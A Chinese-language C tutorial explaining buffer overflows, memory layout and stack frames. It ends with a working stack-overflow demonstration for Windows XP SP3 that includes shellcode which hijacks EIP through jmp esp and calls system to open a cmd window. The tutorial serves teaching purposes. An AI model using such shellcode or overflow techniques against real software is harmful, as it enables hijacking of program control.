缓冲区溢出,C语言缓冲区完全攻略

虽然“缓冲区溢出”对现代操作系统与编译器来讲已经不是什么大问题,但是作为一个合格的 C 程序员,还是完全有必要了解它的整个细节。这里需要特别说明的是,为了更好地演示缓冲区溢出,本节的所有代码示例仅限于在 Windows XP SP3+Visua l C++6.0 环境中演示运行。

简单来说,缓冲区就是一块连续的计算机内存区域,它可以保存相同数据类型的多个实例,如字符数组。而缓冲区溢出则是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。

通常,在理想的情况下,程序检查数据长度并不允许输入超过缓冲区长度的字符。然而,由于 C 语言没有任何内置的边界检查,在写入一个字符数组时,如果超越了数组的结尾就会造成溢出。

与此同时,标准 C 语言函数库提供了一些没有边界检查的字符串处理函数,其中:
  • strcat()、strcpy()、sprintf() 与 vsprintf() 函数对一个 null 结尾的字符串进行操作,并不检查溢出情况;
  • gets() 函数从标准输入中读取一行到缓冲区中,直到换行或 EOF,它也不检查缓冲区溢出;
  • scanf() 函数在匹配一系列非空格字符(%s)或从指定集合(%[])中匹配非空系列字符时,使用字符指针指向数组,并且没有定义最大字段宽度这个可选项,就可能出现问题。

然而,如果这些函数的目标地址是一个固定大小的缓冲区,而函数的另外参数是由用户以某种形式输入,则很有可能被人利用缓冲区溢出来破解。

另一种常见的编程结构是使用 while 循环从标准输入或某个文件中一次读入一个字符到缓冲区中,直到行尾或文件结尾,或者碰到其他什么终止符。这种结构通常使用 getc()、fgetc() 或 getchar() 函数中的某一个,如果这时在 while 循环中没有明确检查溢出,这种程序就很容易被破解。

我们知道,任何一个源程序通常都包括代码段(或者称为文本段)和数据段,这些代码和数据本身都是静态的。为了运行程序,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代码段和数据段建立映射。但是只有静态的代码段和数据段是不够的,进程在运行过程中还要有其动态环境。

一般说来,默认的动态存储环境通过堆栈机制建立。所有局部变量及所有按值传递的函数参数都通过堆栈机制自动分配内存空间,分配同一数据类型相邻块的内存区域被称为缓冲区。图 1 展示了程序在内存中的映射。


图 1 程序在内存中的映射

其中,代码段(.text)存放着程序的机器码和只读数据,可执行指令就是从这里取得的。如果可能,系统会安排好相同程序的多个运行实体共享这些实例代码。这个段在内存中一般被标记为只读,任何对该区的写操作都会导致段错误(Segmentation Fault)。

数据段在编译时分配,它包括已初始化的数据段(.data)和未初始化的数据段(.bss),已初始化的数据段用来存放保存全局的和静态的已初始化变量,而未初始化的数据段则用来保存全局的和静态的未初始化变量。

堆栈段分为堆(Heap)和栈(Stack)。堆用来存储程序运行时分配的变量;而栈则是一种用来存储函数调用时的临时信息的结构,如函数调用所传递的参数、函数的返回地址、函数的局部变量等。在程序运行时由编译器在需要的时候分配,在不需要的时候自动清除。这里需要特别注意的是,堆(Heap)和栈(Stack)是有区别的,很多程序员混淆堆栈的概念,或者认为它们就是一个概念。简单来说,它们之间的主要区别可以表现在如下三个方面。

1) 分配和管理方式不同

堆是动态分配的,其空间的分配和释放都由程序员控制。也就是说,堆的大小并不固定,可动态扩张或缩减,其分配由 malloc() 等这类实时内存分配函数来实现。当进程调用 malloc 等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用 free 等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)。

而栈由编译器自动管理,其分配方式有两种:静态分配动态分配。静态分配由编译器完成,比如局部变量的分配。动态分配由 alloca() 函数进行分配,但是栈的动态分配和堆是不同的,它的动态分配是由编译器进行释放,无需手工控制。

2) 产生碎片不同

对堆来说,频繁执行 malloc 或 free 势必会造成内存空间的不连续,形成大量的碎片,使程序效率降低;而对栈而言,则不存在碎片问题。

3) 内存地址增长的方向不同

堆是向着内存地址增加的方向增长的,从内存的低地址向高地址方向增长;而栈的增长方向与之相反,是向着内存地址减小的方向增长,由内存的高地址向低地址方向增长。

现在,假设一个程序的函数调用顺序为:主函数 main 调用函数 func1,函数 func1 调用函数 func2。当这个程序被操作系统调入内存运行时,其对应的进程在内存中的映射结果如图 2 所示。


图 2 示例程序在内存中的映射

由此可见,进程的栈是由多个栈帧构成的,其中每个栈帧都对应一个函数调用。当函数调用发生时,新的栈帧被压入栈;当函数返回时,相应的栈帧从栈中弹出。

尽管栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于需要将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。当程序写入超过缓冲区的边界时,就会产生所谓的“缓冲区溢出”。发生缓冲区溢出时,就会覆盖下一个相邻的内存块,导致程序发生一些不可预料的结果:也许程序可以继续,也许程序的执行出现奇怪现象,也许程序完全失败或者崩溃等。

对于缓冲区溢出,一般可以分为 4 种类型,即栈溢出堆溢出BSS溢出格式化串溢出其中,栈溢出是最简单,也是最为常见的一种溢出方式,下面我们就以栈溢出为例来阐述缓冲区溢出的原理。

我们知道,栈是一种基本的数据结构,具有后入先出(Last In First Out,LIFO)的特性。在 x86 平台上,调用函数时实际参数、返回地址与局部变量都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针寄存器 ESP 始终指向栈顶元素。

当程序中发生函数调用时,计算机做如下操作:首先把指令寄存器 EIP(它指向当前 CPU 将要运行的下一条指令的地址)中的内容压入栈,作为程序的返回地址(下文中用RET表示);之后放入栈的是基址寄存器 EBP,它指向当前函数栈帧的底部;然后把当前的栈指针 ESP 复制到 EBP,作为新的基地址;最后为本地变量的动态存储分配留出一定空间,并把 ESP 减去适当的数值。

来看下面一段示例代码,该示例代码演示了程序在执行过程中对栈的操作和溢出的产生过程。
char c[]="AAAAAAAAAAAAAAAA";
int main(void)
{
    char arr[8];
    /*执行复制,如果c 长度超过8,则出现缓冲区溢出*/
    strcpy(arr, c);
    for(int i=0;i<8&&arr[i];i++)
    {
        printf("\\0x%x",arr[i]);
    }
    printf("\n");
    return 0;
}
上面的示例代码定义了一个 8 字节的缓冲区 arr[8],然后使用函数 strcpy 来将数组 c 的内容复制到该缓冲区中。由于数组 c 中的数据长度超过了 8 字节,数组 arr 容纳不下,只好向栈的底部方向继续写入“A”。因此,数组 c 中的数据依次覆盖了 EBP 和返回地址 RET(两个都是 32 位的,占用 4 字节),使得 strcpy 函数返回后的 EIP 指向0x41414141(0x41414141 也就是“AAAA”的 ASCII 码)。

很显然,地址 0x41414141 是非法的,CPU 会试图执行 0x41414141 处的指令,结果出现难以预料的后果,所以程序会出现异常而退出,如图 3 与图 4 所示。


图 3 栈溢出示例运行结果(1)

点击图 3 中的“请单击此处”链接,可以查看更加详细的错误报告,如图 4 所示。


图 4 栈溢出示例运行结果(2)

在上面的示例代码中,程序把函数返回后的 EIP 修改成 0x41414141,这是因为数组 c 中的数据“AAAA”将返回地址覆盖了的结果。其中,“A”对应的 ASCII 码的十六进制表示是 41,因此,“AAAA”就是 0x41414141。为了验证这个事实,我们现在继续将数组 c 中的最后 4 个元素(覆盖返回地址的部分)改成“ABCD”,示例代码如下所示:
char c[]="AAAAAAAAAAAAABCD";
现在继续运行上面的示例代码,其运行结果如图 5 所示。


图 5 栈溢出示例运行结果(3)

如图 5 所示,这时 EIP 被修改成 0x44434241,对应的是“DCBA”,与覆盖的数据是相反的。这是因为在 Windows 32 系统中由低位向高位存储一个 4 字节的双字(DWORD),但作为数值表示的时候,却是按照高位字节向低位字节进行解释的,所以,内存地址与我们逻辑上使用的“数值数据”的顺序相反。如果这时候能够把 EIP 修改指向我们的代码,就可以接管程序的控制权,从而做任何事情。示例代码如下所示:

char shellcode[]=
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    /*覆盖ebp*/
    "\x41\x41\x41\x41"
    /*覆盖eip, jmp esp 地址7ffa4512*/
    "\x12\x45\xfa\x7f"
    "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
    "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
    "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
    "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
    "\x8d\x45\xf4\x50\xb8"
    /* LoadLibrary 的地址*/
    "\x77\x1d\x80\x7c"
    "\xff\xd0"
    "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
    "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
    "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
    "\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
    "\xba"
    /*System 的地址*/
    "\xc7\x93\xbf\x77"
    "\xff\xd2";
int main()
{
    char arr[8];
    strcpy(arr, shellcode);
    for(int i=0;i<8&&arr[i];i++)
    {
            printf("\\0x%x",arr[i]);
    }
    printf("\n");
    return 0;
}
在上面示例代码中,shellcode 功能为打开一个 cmd 窗口,运行结果如图 6 所示。


图 6 栈溢出示例运行结果(4)

这里还需要说明的是,在 Windows XP SP3 系统中,jmp esp 在系统核心 dll 中的地址为 7ffa4512,这个地址在其他系统中可能不一样。同时,shellcode 中 LoadLibrary 和 system 函数的地址也可能因系统不同而不同。可以使用 VC++6.0 自带的工具“Dependency Walker”来确定自己系统上这两个函数的地址,有兴趣的读者可以参考一些其他资料自行研究,鉴于篇幅的原因,这里就不再过多阐述。